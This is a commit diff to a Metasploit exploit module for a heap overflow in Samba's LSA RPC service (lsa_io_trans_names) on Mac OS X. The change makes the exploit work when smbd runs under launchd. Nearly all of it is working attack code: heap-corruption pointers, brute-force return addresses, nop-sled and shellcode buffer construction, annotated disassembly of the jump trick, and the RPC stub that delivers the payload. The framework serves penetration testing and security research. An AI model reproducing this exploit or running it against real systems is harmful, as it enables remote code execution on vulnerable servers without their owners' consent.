The Samba lsa_io_trans_names heap overflow exploit module for Mac OS X now also works when the smbd process is started by launchd.
git-svn-id: file:///home/svn/framework3/trunk@5057 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
4c650f865b
commit
490f687f2e
|
@ -26,7 +26,7 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module triggers a heap overflow in the LSA RPC service
|
This module triggers a heap overflow in the LSA RPC service
|
||||||
of the Samba daemon. This module uses the szone_free() to overwrite
|
of the Samba daemon. This module uses the szone_free() to overwrite
|
||||||
the size() pointer in initial_malloc_zones structure.
|
the size() or free() pointer in initial_malloc_zones structure.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -56,7 +56,7 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
|
||||||
{
|
{
|
||||||
'Platform' => 'osx',
|
'Platform' => 'osx',
|
||||||
'Arch' => [ ARCH_X86 ],
|
'Arch' => [ ARCH_X86 ],
|
||||||
'Nops' => 64 * 1024,
|
'Nops' => 4 * 1024,
|
||||||
'Bruteforce' =>
|
'Bruteforce' =>
|
||||||
{
|
{
|
||||||
'Start' => { 'Ret' => 0x01813000 },
|
'Start' => { 'Ret' => 0x01813000 },
|
||||||
|
@ -163,6 +163,14 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
|
||||||
# x86
|
# x86
|
||||||
if (target.arch.include?(ARCH_X86))
|
if (target.arch.include?(ARCH_X86))
|
||||||
|
|
||||||
|
#
|
||||||
|
# We don't use the size() pointer anymore because it
|
||||||
|
# results in a unexpected behavior when smbd process
|
||||||
|
# is started by lauchd.
|
||||||
|
#
|
||||||
|
free_pointer = 0x1800018
|
||||||
|
nop = "\x16"
|
||||||
|
|
||||||
#
|
#
|
||||||
# First talloc_chunk
|
# First talloc_chunk
|
||||||
# 16 bits align
|
# 16 bits align
|
||||||
|
@ -174,55 +182,67 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
|
||||||
#
|
#
|
||||||
|
|
||||||
# First nop block
|
# First nop block
|
||||||
buf = (('B' * 16) * num_entries)
|
buf = ((nop * 16) * num_entries)
|
||||||
|
|
||||||
#
|
#
|
||||||
# A nop block of 0x42 (incl %edx) and the address of
|
# A nop block of 0x16 (pushl %ss) and the address of
|
||||||
# 0x1800004 results in a output that is also a valid
|
# 0x1800014 results in a jns instruction which when
|
||||||
# nop-like instruction.
|
# executed will jump over the address written eight
|
||||||
|
# bytes past our target address by szone_free() (the
|
||||||
|
# sign flag is zero at the moment our target address is
|
||||||
|
# executed).
|
||||||
#
|
#
|
||||||
# 0x357b ^ ( 0x1800004 ^ 0x42424242 ) = 0x43c2773d
|
# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
|
||||||
#
|
#
|
||||||
# This is the output of the sequence of xor operations
|
# This is the output of the sequence of xor operations
|
||||||
# 0: 3d 77 c2 43 42 cmpl $0x4243c277,%eax
|
# 0: 79 23 jns 0x25
|
||||||
|
# 2: 96 xchgl %eax,%esi
|
||||||
|
# 3: 17 popl %ss
|
||||||
|
# 4: 16 pushl %ss
|
||||||
|
# 5: 16 pushl %ss
|
||||||
|
# 6: 16 pushl %ss
|
||||||
|
# 7: 16 pushl %ss
|
||||||
|
# 8: 14 00 adcb $0x0,%al
|
||||||
|
# a: 80 01 16 addb $0x16,(%ecx)
|
||||||
#
|
#
|
||||||
# The size() pointer is written eight bytes past our
|
# This jump is needed because the ecx register does not
|
||||||
# target address.
|
# point to a valid memory location in free() context
|
||||||
# 0: 04 00 addb $0x0,%al
|
# (it is zero).
|
||||||
# 2: 80 01 42 addb $0x42,(%ecx)
|
|
||||||
#
|
#
|
||||||
# This is the code block that will be executed. It is
|
# The jump will hit our nop block which will be executed
|
||||||
# completely valid because %ecx points to 0x1800000
|
# until it reaches the payload.
|
||||||
# (initial_malloc_zones) at the time of execution.
|
|
||||||
# 0: 3d 77 c2 43 42 cmpl $0x4243c277,%eax
|
|
||||||
# 5: 42 incl %edx
|
|
||||||
# 6: 42 incl %edx
|
|
||||||
# 7: 42 incl %edx
|
|
||||||
# 8: 04 00 addb $0x0,%al
|
|
||||||
# a: 80 01 42 addb $0x42,(%ecx)
|
|
||||||
#
|
#
|
||||||
|
|
||||||
# Padding nops
|
# Padding nops
|
||||||
buf << 'B' * 2
|
buf << nop * 2
|
||||||
|
|
||||||
# Jump over the pointers
|
# Jump over the pointers
|
||||||
buf << "\xeb\x08"
|
buf << "\xeb\x08"
|
||||||
|
|
||||||
# Pointers
|
# Pointers
|
||||||
buf << [target_addrs['Ret']].pack('V')
|
buf << [target_addrs['Ret']].pack('V')
|
||||||
buf << [size_pointer - 4].pack('V')
|
buf << [free_pointer - 4].pack('V')
|
||||||
|
|
||||||
#
|
#
|
||||||
# We expect to hit this nop block or the one before
|
# We expect to hit this nop block or the one before
|
||||||
# the pointers.
|
# the pointers.
|
||||||
#
|
#
|
||||||
buf << 'B' * (3852 - 8 - payload.encoded.length)
|
buf << nop * (3852 - 8 - payload.encoded.length)
|
||||||
|
|
||||||
# Payload
|
# Payload
|
||||||
buf << payload.encoded
|
buf << payload.encoded
|
||||||
|
|
||||||
# These nops are truncated
|
# Padding nops
|
||||||
nops = 'B' * (@nops.length)
|
buf << nop * 1024
|
||||||
|
|
||||||
|
stub = lsa_open_policy(dcerpc)
|
||||||
|
|
||||||
|
stub << NDR.long(0) # num_entries
|
||||||
|
stub << NDR.long(0) # ptr_sid_enum
|
||||||
|
stub << NDR.long(num_entries) # num_entries
|
||||||
|
stub << NDR.long(0x20004) # ptr_trans_names
|
||||||
|
stub << NDR.long(num_entries2) # num_entries2
|
||||||
|
stub << buf
|
||||||
|
|
||||||
# PPC
|
# PPC
|
||||||
else
|
else
|
||||||
|
@ -265,19 +285,19 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
|
||||||
|
|
||||||
# Padding
|
# Padding
|
||||||
buf << "A" * (256 - 10)
|
buf << "A" * (256 - 10)
|
||||||
|
|
||||||
|
stub = lsa_open_policy(dcerpc)
|
||||||
|
|
||||||
|
stub << NDR.long(0) # num_entries
|
||||||
|
stub << NDR.long(0) # ptr_sid_enum
|
||||||
|
stub << NDR.long(num_entries) # num_entries
|
||||||
|
stub << NDR.long(0x20004) # ptr_trans_names
|
||||||
|
stub << NDR.long(num_entries2) # num_entries2
|
||||||
|
stub << buf
|
||||||
|
stub << nops
|
||||||
|
stub << payload.encoded
|
||||||
end
|
end
|
||||||
|
|
||||||
stub = lsa_open_policy(dcerpc)
|
|
||||||
|
|
||||||
stub << NDR.long(0) # num_entries
|
|
||||||
stub << NDR.long(0) # ptr_sid_enum
|
|
||||||
stub << NDR.long(num_entries) # num_entries
|
|
||||||
stub << NDR.long(0x20004) # ptr_trans_names
|
|
||||||
stub << NDR.long(num_entries2) # num_entries2
|
|
||||||
stub << buf
|
|
||||||
stub << nops
|
|
||||||
stub << payload.encoded
|
|
||||||
|
|
||||||
print_status("Calling the vulnerable function...")
|
print_status("Calling the vulnerable function...")
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
|
Loading…
Reference in New Issue